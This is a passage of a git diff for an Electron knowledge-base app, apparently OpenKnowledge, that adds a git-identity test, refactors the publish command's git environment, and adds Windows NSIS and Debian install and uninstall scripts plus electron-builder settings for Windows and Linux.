"Please tell me who you are" AFTER the GitHub repo was+ // created, leaving a half-published project. This test removes every+ // config-file identity source (HOME/XDG redirected to an empty dir; no+ // repo-local config) and provides identity ONLY via process.env — it+ // fails with `init-failed` under the old replace semantics.+ const emptyHome = join(workspace, 'empty-home');+ mkdirSync(emptyHome, { recursive: true });+ // beforeEach seeds repo-local identity for the other e2e tests — remove+ // it so process.env is provably the ONLY identity source here.+ execSync('git config --unset user.name', { cwd: projectDir });+ execSync('git config --unset user.email', { cwd: projectDir });+ const saved: Record<string, string | undefined> = {};+ // HOME/USERPROFILE/XDG redirection isolates the user-global config+ // (identity must come from the env vars alone). GIT_CONFIG_GLOBAL is+ // deliberately NOT used — simple-git gates it behind+ // `allowUnsafeConfigPaths`, which the production options (shared with+ // `ok clone`) do not enable.+ const overrides: Record<string, string> = {+ HOME: emptyHome,+ USERPROFILE: emptyHome,+ XDG_CONFIG_HOME: join(emptyHome, '.config'),+ GIT_AUTHOR_NAME: 'EnvOnly',+ GIT_AUTHOR_EMAIL: '[email protected]',+ GIT_COMMITTER_NAME: 'EnvOnly',+ GIT_COMMITTER_EMAIL: '[email protected]',+ };+ for (const [key, value] of Object.entries(overrides)) {+ saved[key] = process.env[key];+ process.env[key] = value;+ }+ try {+ const bareUrl = `file://${bareRepo}`;+ const result = await runPublishFlow({+ octokit: makeFakeOctokit({+ authLogin: 'alice',+ createUserRepo: { clone_url: bareUrl, default_branch: 'main' },+ }),+ token: 'irrelevant',+ projectDir,+ body: { owner: 'alice', name: 'demo', visibility: 'private' },+ ownerKind: 'user',+ deps: { ensureOkScaffold: () => {} },+ });+ expect(result.kind).toBe('ok');+ const log = execSync('git log --format="%an <%ae>"', {+ cwd: projectDir,+ encoding: 'utf-8',+ env: { ...process.env },+ });+ expect(log).toContain('EnvOnly <[email protected]>');+ } finally {+ for (const [key, value] of Object.entries(saved)) {+ if (value === undefined) delete process.env[key];+ else process.env[key] = value;+ }+ }+ });});diff --git a/packages/cli/src/commands/share/publish.ts b/packages/cli/src/commands/share/publish.tsindex 31f09975b..1caa6669c 100644--- a/packages/cli/src/commands/share/publish.ts+++ b/packages/cli/src/commands/share/publish.ts@@ -36,6 +36,7 @@ import simpleGit, { type SimpleGit, type SimpleGitOptions } from 'simple-git';import type { TokenStore } from '../../auth/token-store.ts';import { resolveReposToken } from '../auth/repos.ts';import { validateGitHubHost } from '../auth/validate-host.ts';+import { buildCloneEnv, buildCloneGitOptions } from '../clone.ts';interface PublishOptions {host: string;@@ -198,26 +199,31 @@ async function probeOwnerKind(octokit: Octokit, ownerLogin: string): Promise<'us// ─── simple-git plumbing ──────────────────────────────────────────────────────-type CredentialHelperUnsafeGitOptions = SimpleGitOptions & {- unsafe?: NonNullable<SimpleGitOptions['unsafe']> & {- allowUnsafeCredentialHelper?: boolean;- };-};-/**- * Build a simple-git instance bound to `projectDir`. We never set a- * credential.helper on the persisted origin remote — the token-bearing URL- * is passed inline only when invoking `git push`. The unsafe flag exists- * because simple-git 3.36 gates credential.helper behind a runtime-only- * option not exposed by its typings; setting it here keeps the API ready- * for the (not-currently-used) gh delegation path.+ * Build a simple-git instance bound to `projectDir`, sharing `clone.ts`'s+ * env + options plumbing. We never set a credential.helper on the persisted+ * origin remote — the token-bearing URL is passed inline only when invoking+ * `git push`.+ *+ * The child env comes from `buildCloneEnv` — simple-git's `.env(obj)`+ * REPLACES the child environment (see `git-handle.ts`), and the bare+ * `{ GIT_TERMINAL_PROMPT: '0' }` this used to pass strips the vars git+ * needs to function. POSIX hosts survived that by accident (execvp's+ * default PATH finds /usr/bin/git; passwd-db HOME fallback finds config);+ * on Windows the stripped child loses `USERPROFILE`/`SystemRoot`/`PATH` —+ * no global config, no HTTPS transport — AND loses the `GIT_AUTHOR_*`+ * identity fallback this command sets for pristine machines, so the+ * initial commit dies with "Please tell me who you are" and the wizard+ * surfaces a half-published repo (VM-verified). The spread keeps the+ * ambient CLI env authoritative with prompt/locale overrides on top;+ * `buildCloneGitOptions` carries the unsafe flags that let simple-git+ * accept an env containing the user's PAGER/EDITOR/SSH vars (publish+ * never launches any of them).*/function makeGit(projectDir: string): SimpleGit {- const opts: Partial<CredentialHelperUnsafeGitOptions> = {- baseDir: projectDir,- unsafe: { allowUnsafeCredentialHelper: true },- };- return simpleGit(opts as Partial<SimpleGitOptions>).env({ GIT_TERMINAL_PROMPT: '0' });+ return simpleGit(buildCloneGitOptions(projectDir, []) as Partial<SimpleGitOptions>).env(+ buildCloneEnv(),+ );}/**diff --git a/packages/cli/src/commands/start.ts b/packages/cli/src/commands/start.tsindex 3e02f63dd..9ac635b57 100644--- a/packages/cli/src/commands/start.ts+++ b/packages/cli/src/commands/start.ts@@ -1566,7 +1566,7 @@ export function startCommand(getConfig: () => Config): Command {const decision = detectDesktop(createRealDetectDeps());if (decision.available) {- launchDesktop({ spawn: nativeSpawn });+ launchDesktop({ spawn: nativeSpawn }, decision);return;}diff --git a/packages/cli/src/integrations/pi-extension.test.ts b/packages/cli/src/integrations/pi-extension.test.tsindex 53d1594fc..2efef038a 100644--- a/packages/cli/src/integrations/pi-extension.test.ts+++ b/packages/cli/src/integrations/pi-extension.test.ts@@ -1,9 +1,9 @@-import { afterEach, beforeEach, describe, expect, it } from 'bun:test';import { mkdirSync, mkdtempSync, rmSync, writeFileSync } from 'node:fs';import { tmpdir } from 'node:os';import { join } from 'node:path';+import { afterEach, beforeEach, describe, expect, it } from 'vitest';import {- CHAIN_V1,+ CHAIN_V2,CHAIN_WIN_V1,isEntryUpToDate,PI_EXTENSION_OWNERSHIP_MARKER,@@ -32,7 +32,7 @@ describe('buildPiExtensionSource', () => {const source = buildPiExtensionSource();// The chains ride inside JSON.stringify'd launcher entries, so their// newlines appear as the two-character escape.- expect(source).toContain(JSON.stringify(CHAIN_V1));+ expect(source).toContain(JSON.stringify(CHAIN_V2));expect(source).toContain(JSON.stringify(CHAIN_WIN_V1));expect(source).toContain('process.platform === "win32"');});@@ -109,7 +109,7 @@ describe('pi extension recognizers', () => {isOwnPiManagedFileEntry(makePiManagedFileEntry(`${PI_EXTENSION_OWNERSHIP_MARKER}-v0\nx`)),).toBe(true);expect(isOwnPiManagedFileEntry(makePiManagedFileEntry('// foreign file'))).toBe(false);- expect(isOwnPiManagedFileEntry({ command: '/bin/sh', args: ['-l', '-c', CHAIN_V1] })).toBe(+ expect(isOwnPiManagedFileEntry({ command: '/bin/sh', args: ['-l', '-c', CHAIN_V2] })).toBe(false,);expect(isOwnPiManagedFileEntry(null)).toBe(false);diff --git a/packages/cli/src/integrations/project-integration-writers.test.ts b/packages/cli/src/integrations/project-integration-writers.test.tsindex e68d527f6..933a8e086 100644--- a/packages/cli/src/integrations/project-integration-writers.test.ts+++ b/packages/cli/src/integrations/project-integration-writers.test.ts@@ -1,4 +1,3 @@-import { afterEach, beforeEach, describe, expect, test } from 'bun:test';import {existsSync,mkdirSync,@@ -10,6 +9,7 @@ import {} from 'node:fs';import { tmpdir } from 'node:os';import { join, resolve } from 'node:path';+import { afterEach, beforeEach, describe, expect, test } from 'vitest';import { EDITOR_TARGETS, type EditorId } from '../commands/editors.ts';import {applyProjectIntegrations,@@ -69,7 +69,7 @@ describe('mcpConfigWriter', () => {const written = JSON.parse(readFileSync(cursorMcp, 'utf-8'));expect(written.mcpServers['open-knowledge'].command).toBe('/bin/sh');expect(written.mcpServers['open-knowledge'].args.slice(0, 2)).toEqual(['-l', '-c']);- expect(written.mcpServers['open-knowledge'].args[2]).toContain('# ok-mcp-v1');+ expect(written.mcpServers['open-knowledge'].args[2]).toContain('# ok-mcp-v2');});test('reports "skipped-unsupported" for an editor without projectConfigPath', () => {diff --git a/packages/core/src/desktop-bridge.ts b/packages/core/src/desktop-bridge.tsindex 2d7fe3196..633f2ee21 100644--- a/packages/core/src/desktop-bridge.ts+++ b/packages/core/src/desktop-bridge.ts@@ -804,6 +804,64 @@ interface OkEditorViewMenuStateSnapshot {readonly terminalLive?: boolean;}+/**+ * Windows/Linux renderer-menubar dispatch payloads (the windows-linux-port+ * renderer-menubar decision). macOS keeps the native menu bar; win/linux draw it in the+ * renderer and route every click through main via `menu.dispatch` so menu+ * semantics stay single-sourced: `menu-action` relays through the same+ * dispatch path the native menu items use, `role` maps onto Electron's+ * built-in menu roles, `command` covers the main-side click handlers+ * (navigator, folder picker, settings, updater…), and `query` returns the+ * aggregated state the native menu renders from. Same shapes as+ * `MenuDispatch*` in `ipc-channels.ts` — duplicated for the+ * module-resolution reason the wider `OkDesktopBridge` is duplicated.+ */+export type OkMenuDispatchRole =+ | 'undo'+ | 'redo'+ | 'cut'+ | 'copy'+ | 'paste'+ | 'selectAll'+ | 'reload'+ | 'forceReload'+ | 'toggleDevTools'+ | 'resetZoom'+ | 'zoomIn'+ | 'zoomOut'+ | 'toggleFullScreen'+ | 'minimize'+ | 'close'+ | 'quit';++export type OkMenuDispatchCommand =+ | 'open-navigator'+ | 'open-folder-dialog'+ | 'clear-recent-projects'+ | 'open-settings'+ | 'check-for-updates'+ | 'reconfigure-mcp-wiring'+ | 'open-github'+ | 'toggle-spell-check';++export type OkMenuDispatchRequest =+ | { readonly kind: 'query' }+ | { readonly kind: 'menu-action'; readonly action: OkMenuAction }+ | { readonly kind: 'command'; readonly command: OkMenuDispatchCommand }+ | { readonly kind: 'open-recent-project'; readonly path: string }+ | { readonly kind: 'role'; readonly role: OkMenuDispatchRole };++/** `query` result — the same aggregated state the native menu renders from. */+export interface OkMenuRendererSnapshot {+ readonly recentProjects: ReadonlyArray<{ readonly path: string; readonly name: string }>;+ readonly spellCheckEnabled: boolean;+ readonly showDevToolsMenu: boolean;+ readonly canCheckForUpdates: boolean;+ readonly canReconfigureMcpWiring: boolean;+ readonly activeTarget: OkEditorActiveTargetSnapshot;+ readonly viewMenuState: OkEditorViewMenuStateSnapshot;+}+/*** Renderer-facing Electron bridge. Populated on `window.okDesktop` by the* desktop preload script. Web distribution omits the@@ -1611,6 +1669,18 @@ export interface OkDesktopBridge {notifyViewMenuStateChanged(state: Partial<OkEditorViewMenuStateSnapshot>): void;};+ /**+ * Windows/Linux renderer-menubar dispatch surface (windows-linux-port+ * renderer-menubar decision). macOS keeps the native menu bar and never calls this; on+ * win/linux the renderer-drawn menu bar routes every click through main+ * so menu semantics live in one place. `query` resolves the aggregated+ * `OkMenuRendererSnapshot`; every other kind performs the action+ * main-side and resolves undefined.+ */+ menu: {+ dispatch(request: OkMenuDispatchRequest): Promise<OkMenuRendererSnapshot | undefined>;+ };+/*** Startup-instrumentation push surface (desktop launch waterfall). The* renderer reports its two launch checkpoints — page-list ready and firstdiff --git a/packages/desktop/build/deb-postinst.sh b/packages/desktop/build/deb-postinst.shnew file mode 100644index 000000000..275977fd7--- /dev/null+++ b/packages/desktop/build/deb-postinst.sh@@ -0,0 +1,72 @@+#!/bin/bash++# deb after-install script. electron-builder's FpmTarget passes custom+# scripts through the SAME macro templating as its defaults — every+# dollar-brace sequence is treated as a macro (unknown names throw at+# build time, comments included), so bash variables here MUST use the+# brace-less $NAME form.+#+# The first half is a verbatim copy of app-builder-lib's+# templates/linux/after-install.tpl (a custom afterInstall REPLACES the+# default, it does not extend it): binary symlink via update-alternatives,+# chrome-sandbox SUID fallback, mime/desktop database refresh, AppArmor+# profile install (Ubuntu 24.04+ userns restriction). The OpenKnowledge+# additions — /usr/bin/ok + /usr/bin/open-knowledge symlinks to the bundled+# CLI wrapper (D10) — are at the bottom. Re-sync the copied half when+# bumping electron-builder.++if type update-alternatives >/dev/null 2>&1; then+ # Remove previous link if it doesn't use update-alternatives+ if [ -L '/usr/bin/${executable}' -a -e '/usr/bin/${executable}' -a "`readlink '/usr/bin/${executable}'`" != '/etc/alternatives/${executable}' ]; then+ rm -f '/usr/bin/${executable}'+ fi+ update-alternatives --install '/usr/bin/${executable}' '${executable}' '/opt/${sanitizedProductName}/${executable}' 100 || ln -sf '/opt/${sanitizedProductName}/${executable}' '/usr/bin/${executable}'+else+ ln -sf '/opt/${sanitizedProductName}/${executable}' '/usr/bin/${executable}'+fi++# Check if user namespaces are supported by the kernel and working with a quick test:+if ! { [[ -L /proc/self/ns/user ]] && unshare --user true; }; then+ # Use SUID chrome-sandbox only on systems without user namespaces:+ chmod 4755 '/opt/${sanitizedProductName}/chrome-sandbox' || true+else+ chmod 0755 '/opt/${sanitizedProductName}/chrome-sandbox' || true+fi++if hash update-mime-database 2>/dev/null; then+ update-mime-database /usr/share/mime || true+fi++if hash update-desktop-database 2>/dev/null; then+ update-desktop-database /usr/share/applications || true+fi++# Install apparmor profile. (Ubuntu 24+)+# First check if the version of AppArmor running on the device supports our profile.+# This is in order to keep backwards compatibility with Ubuntu 22.04 which does not support abi/4.0.+# In that case, we just skip installing the profile since the app runs fine without it on 22.04.+if apparmor_status --enabled > /dev/null 2>&1; then+ APPARMOR_PROFILE_SOURCE='/opt/${sanitizedProductName}/resources/apparmor-profile'+ APPARMOR_PROFILE_TARGET='/etc/apparmor.d/${executable}'+ if apparmor_parser --skip-kernel-load --debug "$APPARMOR_PROFILE_SOURCE" > /dev/null 2>&1; then+ cp -f "$APPARMOR_PROFILE_SOURCE" "$APPARMOR_PROFILE_TARGET"+ if ! { [ -x '/usr/bin/ischroot' ] && /usr/bin/ischroot; } && hash apparmor_parser 2>/dev/null; then+ apparmor_parser --replace --write-cache --skip-read-cache "$APPARMOR_PROFILE_TARGET"+ fi+ else+ echo "Skipping the installation of the AppArmor profile as this version of AppArmor does not seem to support the bundled profile"+ fi+fi++# --- OpenKnowledge additions below (keep the copied template above in sync) ---++# CLI-on-PATH (D10): expose the bundled `ok` CLI system-wide. The wrapper+# re-execs the app's Electron binary as a Node host (ELECTRON_RUN_AS_NODE=1),+# so this is a symlink, not a copy — it tracks upgrades in place. Both bin+# names ship, matching the npm package's `ok` + `open-knowledge` bins.+OK_WRAPPER='/opt/${sanitizedProductName}/resources/cli/bin/ok.sh'+if [ -f "$OK_WRAPPER" ]; then+ chmod 0755 "$OK_WRAPPER" || true+ ln -sf "$OK_WRAPPER" /usr/bin/ok+ ln -sf "$OK_WRAPPER" /usr/bin/open-knowledge+fidiff --git a/packages/desktop/build/deb-postrm.sh b/packages/desktop/build/deb-postrm.shnew file mode 100644index 000000000..5eaccd087--- /dev/null+++ b/packages/desktop/build/deb-postrm.sh@@ -0,0 +1,34 @@+#!/bin/bash++# deb after-remove script. Verbatim copy of app-builder-lib's+# templates/linux/after-remove.tpl (a custom afterRemove REPLACES the+# default) + removal of the OpenKnowledge /usr/bin CLI symlinks that+# deb-postinst.sh created. Macro templating applies — bash variables must+# use the brace-less $NAME form (see deb-postinst.sh).++# Delete the link to the binary+if type update-alternatives >/dev/null 2>&1; then+ update-alternatives --remove '${executable}' '/usr/bin/${executable}'+else+ rm -f '/usr/bin/${executable}'+fi++APPARMOR_PROFILE_DEST='/etc/apparmor.d/${executable}'++# Remove apparmor profile.+if [ -f "$APPARMOR_PROFILE_DEST" ]; then+ rm -f "$APPARMOR_PROFILE_DEST"+fi++# --- OpenKnowledge additions below (keep the copied template above in sync) ---++# Remove the CLI symlinks only if they still point into this install —+# a user-repointed /usr/bin/ok (e.g. npm-global install) is left alone.+for link in /usr/bin/ok /usr/bin/open-knowledge; do+ if [ -L "$link" ]; then+ target=$(readlink "$link")+ case "$target" in+ '/opt/${sanitizedProductName}/'*) rm -f "$link" ;;+ esac+ fi+donediff --git a/packages/desktop/build/installer.nsh b/packages/desktop/build/installer.nshnew file mode 100644index 000000000..85ca5a878--- /dev/null+++ b/packages/desktop/build/installer.nsh@@ -0,0 +1,100 @@+; OpenKnowledge NSIS customizations (wired via nsis.include in+; electron-builder.yml). Two jobs, both per-user / elevation-free (D1+; one-click per-user install):+;+; 1. CLI-on-PATH (D10): append "$INSTDIR\resources\cli\bin" (ok.cmd /+; ok.ps1 wrappers) to the USER Path value (HKCU\Environment) at+; install, remove it at uninstall. Idempotent — silent update+; re-installs run customInstall again and must not accumulate+; duplicates. WM_SETTINGCHANGE broadcast so new shells pick it up+; without relogin (cmd.exe sessions already open won't).+;+; 2. openknowledge:// protocol (D2/Q8): HKCU\Software\Classes keys.+; electron-builder's `protocols` config is macOS-Info.plist-only, so+; NSIS writes the registry shape here; the app also self-heals it at+; startup via app.setAsDefaultProtocolClient (reclaim posture), so+; these keys mainly cover the installed-but-never-launched window.+;+; PATH surgery notes: comparisons are done against "<Path>;" with a+; "<dir>;" needle so the final un-terminated entry still matches. The+; StrFunc.nsh ${StrStr}/${UnStrStr} pair ships with NSIS 3 (bundled by+; electron-builder). Case-sensitive match is acceptable — the only writer+; of this exact dir string is this installer, so the dedup check only has+; to recognize its own prior writes.++!include "StrFunc.nsh"+; StrFunc.nsh requires one-time declaration before use in each context —+; but electron-builder compiles this script twice (a BUILD_UNINSTALLER+; pass that emits only the uninstaller, then the installer pass), and a+; StrFunc helper declared in a pass that never references it trips+; makensis "warning 6010: function not referenced", which electron-builder+; promotes to an error. Declare each helper only in the pass that uses it.+!ifdef BUILD_UNINSTALLER+ ${UnStrStr}+!else+ ${StrStr}+!endif++!define OK_CLI_BIN_SUFFIX "resources\cli\bin"++!macro customInstall+ ; ---- user PATH append (idempotent) ----+ ReadRegStr $0 HKCU "Environment" "Path"+ ; Normalize a pre-existing trailing ";" so the append below never writes+ ; a double ";" (an empty PATH segment). Empty $0 falls through untouched.+ StrCpy $3 $0 1 -1+ StrCmp $3 ";" 0 +2+ StrCpy $0 $0 -1+ StrCpy $1 "$INSTDIR\${OK_CLI_BIN_SUFFIX}"+ ${StrStr} $2 "$0;" "$1;"+ StrCmp $2 "" 0 +5+ StrCmp $0 "" 0 +3+ WriteRegExpandStr HKCU "Environment" "Path" "$1"+ Goto +2+ WriteRegExpandStr HKCU "Environment" "Path" "$0;$1"+ SendMessage ${HWND_BROADCAST} ${WM_WININICHANGE} 0 "STR:Environment" /TIMEOUT=5000++ ; ---- openknowledge:// protocol (per-user, no elevation) ----+ WriteRegStr HKCU "Software\Classes\openknowledge" "" "URL:OpenKnowledge"+ WriteRegStr HKCU "Software\Classes\openknowledge" "URL Protocol" ""+ WriteRegStr HKCU "Software\Classes\openknowledge\DefaultIcon" "" "$INSTDIR\${APP_EXECUTABLE_FILENAME},0"+ WriteRegStr HKCU "Software\Classes\openknowledge\shell" "" "open"+ WriteRegStr HKCU "Software\Classes\openknowledge\shell\open" "" "Open with ${PRODUCT_NAME}"+ WriteRegStr HKCU "Software\Classes\openknowledge\shell\open\command" "" '"$INSTDIR\${APP_EXECUTABLE_FILENAME}" "%1"'+!macroend++!macro customUnInstall+ ; ---- user PATH removal ----+ ; Remove "<dir>;" from "<Path>;" then strip the trailing ";" we added+ ; for the match. Handles first / middle / last / only-entry positions+ ; in one shape. If the entry is absent (user hand-edited), leave Path+ ; untouched.+ ReadRegStr $0 HKCU "Environment" "Path"+ StrCpy $1 "$INSTDIR\${OK_CLI_BIN_SUFFIX}"+ ${UnStrStr} $2 "$0;" "$1;"+ StrCmp $2 "" un_path_done+ ; $2 = substring starting at our entry (within "$0;"). Compute prefix+ ; length = len("$0;") - len($2), then rebuild prefix + suffix-after-entry.+ StrLen $3 "$0;"+ StrLen $4 $2+ IntOp $5 $3 - $4 ; chars before our entry+ StrCpy $6 "$0;" $5 ; prefix (everything before "<dir>;")+ StrLen $7 "$1;"+ StrCpy $8 $2 "" $7 ; suffix (everything after "<dir>;")+ StrCpy $9 "$6$8" ; recombined, still ";"-terminated unless empty+ ; strip one trailing ";" if present+ StrCpy $3 $9 1 -1+ StrCmp $3 ";" 0 +2+ StrCpy $9 $9 -1+ WriteRegExpandStr HKCU "Environment" "Path" $9+ SendMessage ${HWND_BROADCAST} ${WM_WININICHANGE} 0 "STR:Environment" /TIMEOUT=5000+un_path_done:++ ; ---- openknowledge:// protocol keys ----+ ; Only drop the class if it still points at this install — a later+ ; reinstall elsewhere (or another channel) may own it now.+ ReadRegStr $0 HKCU "Software\Classes\openknowledge\shell\open\command" ""+ ${UnStrStr} $1 "$0" "$INSTDIR"+ StrCmp $1 "" +2+ DeleteRegKey HKCU "Software\Classes\openknowledge"+!macroenddiff --git a/packages/desktop/electron-builder.yml b/packages/desktop/electron-builder.ymlindex c6243edad..2d19f2197 100644--- a/packages/desktop/electron-builder.yml+++ b/packages/desktop/electron-builder.yml@@ -54,8 +54,11 @@ extraResources:- "!**/*.d.mts.map"- "!**/*.d.ts"- "!**/*.d.ts.map"- - from: "resources/cli/bin/ok.sh"- to: "cli/bin/ok.sh"+ # The `ok` CLI wrapper ships per-platform (each platform block's+ # extraResources below): the darwin/.app-layout bash wrapper under `mac`,+ # the linux-layout bash wrapper under `linux`, and the `.cmd`/`.ps1` pair+ # under `win`. All land in `<resources>/cli/bin/` so path-install + the+ # NSIS include agree on one location.# `@inkeep/open-knowledge-server`'s `version-constants.ts` reads its# neighbouring `package.json` at module load to populate `RUNTIME_VERSION`# (the value written into `server.lock`'s `runtimeVersion`). The CLI bundles@@ -85,20 +88,19 @@ extraResources:# NEVER reaches `app.asar.unpacked/node_modules/`, where the app's copy lives.# Without a copy on the CLI's path, `import('@napi-rs/keyring')` in# `createTokenStore` throws ERR_MODULE_NOT_FOUND and auth silently downgrades- # to the plaintext `~/.ok/auth.yml` file backend. Ship the wrapper + the arm64- # platform binary into `cli/node_modules/` so the CLI resolves the keychain.- # Sourced from the workspace-root `node_modules` — pnpm isolates packages- # under `.pnpm/` by default, so `.npmrc` surgically hoists `@napi-rs/keyring*`- # to the public root (`public-hoist-pattern`) to keep this copy source- # resolvable. arm64 only: matches the arm64-only DMG (`mac.target`) and avoids- # the @electron/universal lipo-merge collision documented under `mac:`.+ # to the plaintext `~/.ok/auth.yml` file backend. Ship the wrapper here (it is+ # platform-neutral JS) + the per-platform binary packages under each platform+ # block's extraResources so the CLI resolves the keychain. Sourced from the+ # workspace-root `node_modules` — pnpm isolates packages under `.pnpm/` by+ # default, so `.npmrc` surgically hoists `@napi-rs/keyring*` to the public+ # root (`public-hoist-pattern`) to keep these copy sources resolvable. pnpm+ # installs only the host-matching binary package, so cross-arch builds run+ # `scripts/prepare-platform-natives.mjs` (or `prepare-universal.mjs` on mac)+ # first to force-install the missing arch prebuilds.# Coverage: tests/unit/electron-builder-cli-native-deps.test.ts.- from: "../../node_modules/@napi-rs/keyring"to: "cli/node_modules/@napi-rs/keyring"filter: ["**/*"]- - from: "../../node_modules/@napi-rs/keyring-darwin-arm64"- to: "cli/node_modules/@napi-rs/keyring-darwin-arm64"- filter: ["**/*"]# The bundled CLI AND the desktop main process both load# `@inkeep/open-knowledge-native-config` at runtime — the Codex TOML# harness-config write routes through its toml_edit addon. Like@@ -159,6 +161,18 @@ asarUnpack:mac:category: public.app-category.productivity+ # Platform-specific extraResources merge with the top-level list. The+ # darwin/.app-layout `ok.sh` wrapper + the darwin-arm64 keyring binary+ # package ship only into the mac bundle; win/linux carry their own wrapper+ # + binary rules in their blocks below. arm64-only keyring: matches the+ # arm64-only DMG (`mac.target`) and avoids the @electron/universal+ # lipo-merge collision documented under `target:`.+ extraResources:+ - from: "resources/cli/bin/ok.sh"+ to: "cli/bin/ok.sh"+ - from: "../../node_modules/@napi-rs/keyring-darwin-arm64"+ to: "cli/node_modules/@napi-rs/keyring-darwin-arm64"+ filter: ["**/*"]# Icon Composer bundle — packages the appearance variants (Default, Dark,# Clear/Tinted light+dark) into a single source. electron-builder compiles# this via `actool` into an `Assets.car` asset catalog at package time and@@ -314,9 +328,156 @@ dmg:path: /ApplicationsiconSize: 100-# Flip fuses (D17 LOCKED, spec §8.9) on the packed .app before code signing.+win:+ # electron-builder converts the 1024px PNG to the multi-size .ico via+ # app-builder at package time — no committed .ico needed.+ icon: build/icon.png+ # Per-arch NSIS installers (see `nsis.buildUniversalInstaller: false`).+ # electron-updater on Windows supports NSIS only; MSI is Future Work.+ target:+ - target: nsis+ arch: [x64, arm64]+ # Azure Artifact Signing (win.azureSignOptions) is wired by the manual+ # build workflow via --config flags once the signing account exists —+ # endpoint/account/profile names are procurement outputs and don't+ # belong hardcoded here while unknown. Unsigned Windows artifacts are+ # never published (internal QA only).+ #+ # The terminal dock is dark off-mac: node-pty and its+ # prebuilds must not ship in the Windows package. `files` merges with the+ # top-level list.+ #+ # native-config's cargo `target/` tree is darwin build intermediates that+ # the blanket asarUnpack rule would otherwise drag in. Beyond dead weight,+ # its `.fingerprint` paths nest past MAX_PATH under the install dir and+ # the x86 NSIS uninstaller cannot delete them (VM-verified residue).+ files:+ - "!**/node_modules/node-pty/**"+ - "!**/node_modules/@inkeep/open-knowledge-native-config/target/**"+ extraResources:+ - from: "resources/cli/bin/ok.cmd"+ to: "cli/bin/ok.cmd"+ - from: "resources/cli/bin/ok.ps1"+ to: "cli/bin/ok.ps1"+ # Both arch binaries ship in each per-arch installer: extraResources+ # rules are static across arches, and the napi wrapper picks the+ # matching binary at runtime. ~1 MB of dead weight on the wrong arch,+ # accepted (mirrors the mac arm64-only rationale, not its mechanism).+ # `scripts/prepare-platform-natives.mjs` force-installs both before+ # electron-builder runs (pnpm installs only the host-matching one).+ - from: "../../node_modules/@napi-rs/keyring-win32-x64-msvc"+ to: "cli/node_modules/@napi-rs/keyring-win32-x64-msvc"+ filter: ["**/*"]+ - from: "../../node_modules/@napi-rs/keyring-win32-arm64-msvc"+ to: "cli/node_modules/@napi-rs/keyring-win32-arm64-msvc"+ filter: ["**/*"]++nsis:+ # One-click, per-user (no UAC), per D1. Per-user install =+ # %LOCALAPPDATA%\Programs\@inkeepopen-knowledge-desktop (electron-builder+ # uses the sanitized package name for one-click per-user installs) =+ # silent UAC-free auto-updates.+ oneClick: true+ perMachine: false+ # zip payload instead of the default solid 7z. On Windows-on-ARM the x86+ # NSIS stub runs emulated, and Nsis7z there silently drops the archive+ # tail holding the exe + dlls (VM-verified half-install with every PE+ # file missing — the staged payload was byte-identical to the built one,+ # so this is extraction, not corruption); nsisunz handles a real zip.+ # differentialPackage must be off for useZip to take effect: NsisTarget+ # only builds a zip when the build is not differential-aware, yet the+ # NSIS script unconditionally follows useZip — leaving the default on+ # ships 7z bytes under a .zip name and the installer dies with "Error+ # opening ZIP file". Costs: no differential auto-update downloads on+ # Windows (no Windows release channel exists yet to regress), and the+ # installer grows ~37% (deflate vs solid LZMA; 169 MB → 232 MB arm64).+ useZip: true+ differentialPackage: false+ # Separate per-arch installers (the default single universal installer+ # would double the download for every user). Version-less artifact names+ # keep `releases/latest/download/…` URLs stable across releases — the+ # same contract as `dmg.artifactName` (OpenKnowledge-arm64.dmg).+ buildUniversalInstaller: false+ artifactName: ${productName}-Setup-${arch}.${ext}+ # Custom include: HKCU user-PATH append for the bundled `ok` CLI ++ # HKCU\Software\Classes openknowledge:// protocol registration (electron-+ # builder's `protocols` key is macOS-Info.plist-only; NSIS gets registry+ # keys here, and the app self-heals via setAsDefaultProtocolClient at+ # startup).+ include: build/installer.nsh++linux:+ icon: build/icon.png+ # Pinned (matches electron-builder's default lowercase-sanitized product+ # name) because three other artifacts embed it: resources/cli/bin/+ # ok-linux.sh ($ROOT_DIR/openknowledge), the deb maintainer scripts'+ # ${executable} macro, and the .desktop Exec/Icon lines.+ executableName: openknowledge+ # productivity → no direct freedesktop mapping; Office is the+ # conventional slot for knowledge/editor tools.+ category: Office+ synopsis: Collaborative markdown knowledge base+ # AppImage (primary, auto-updating) + deb (integration-grade: .desktop+ # protocol registration + /usr/bin/ok symlink via postinst), per D2.+ # electron-builder appends MimeType=x-scheme-handler/openknowledge to the+ # generated .desktop from the top-level `protocols` key — effective for+ # deb installs; AppImages self-register a .desktop at runtime instead.+ #+ # AppImage is x64-only for now: the aarch64 AppImage runtime won't launch+ # on a stock Debian 13 arm64 install — it needs libfuse.so.2 (FUSE 2) and+ # libz.so.1, neither present by default (verified in Linux VM QA). arm64+ # Linux users get the deb, which pulls its deps via apt. Restore arm64 to+ # the AppImage arch list once we ship a runtime that bundles FUSE/zlib or+ # falls back to --appimage-extract-and-run.+ target:+ - target: AppImage+ arch: [x64]+ - target: deb+ arch: [x64, arm64]+ artifactName: ${productName}-${arch}.${ext}+ # Terminal dock dark off-mac — keep node-pty out, and keep native-config's+ # darwin cargo `target/` tree out (see win.files for the rationale).+ files:+ - "!**/node_modules/node-pty/**"+ - "!**/node_modules/@inkeep/open-knowledge-native-config/target/**"+ extraResources:+ # Linux-layout wrapper ships under the same canonical destination as+ # the mac one so path-install + the deb postinst agree on one path.+ - from: "resources/cli/bin/ok-linux.sh"+ to: "cli/bin/ok.sh"+ - from: "../../node_modules/@napi-rs/keyring-linux-x64-gnu"+ to: "cli/node_modules/@napi-rs/keyring-linux-x64-gnu"+ filter: ["**/*"]+ - from: "../../node_modules/@napi-rs/keyring-linux-arm64-gnu"+ to: "cli/node_modules/@napi-rs/keyring-linux-arm64-gnu"+ filter: ["**/*"]++deb:+ # /usr/bin/ok symlink + AppArmor userns profile (Ubuntu 24.04+) live in+ # the maintainer scripts; removal is symmetric.+ afterInstall: build/deb-postinst.sh+ afterRemove: build/deb-postrm.sh+ # Chromium sandbox needs unprivileged userns; Ubuntu 24.04 restricts it+ # via AppArmor. The postinst ships a profile permitting it for our+ # binary (the AppImage path relies on electron-builder's AppRun+ # userns-probe --no-sandbox fallback instead).+ depends:+ - libgtk-3-0+ - libnotify4+ - libnss3+ - libxss1+ - libxtst6+ - xdg-utils+ - libatspi2.0-0+ - libuuid1+ - libsecret-1-0++# Flip fuses (D17 LOCKED, spec §8.9) on the packed app before code signing —+# all platforms (D9): off-darwin builds without the fuse flip would ship+# without RunAsNode, silently breaking the bundled-CLI/detached-spawn path.afterPack: scripts/afterPack.mjs-# Post-sign: @electron/notarize → stapler validate → @electron/fuses read verify.+# 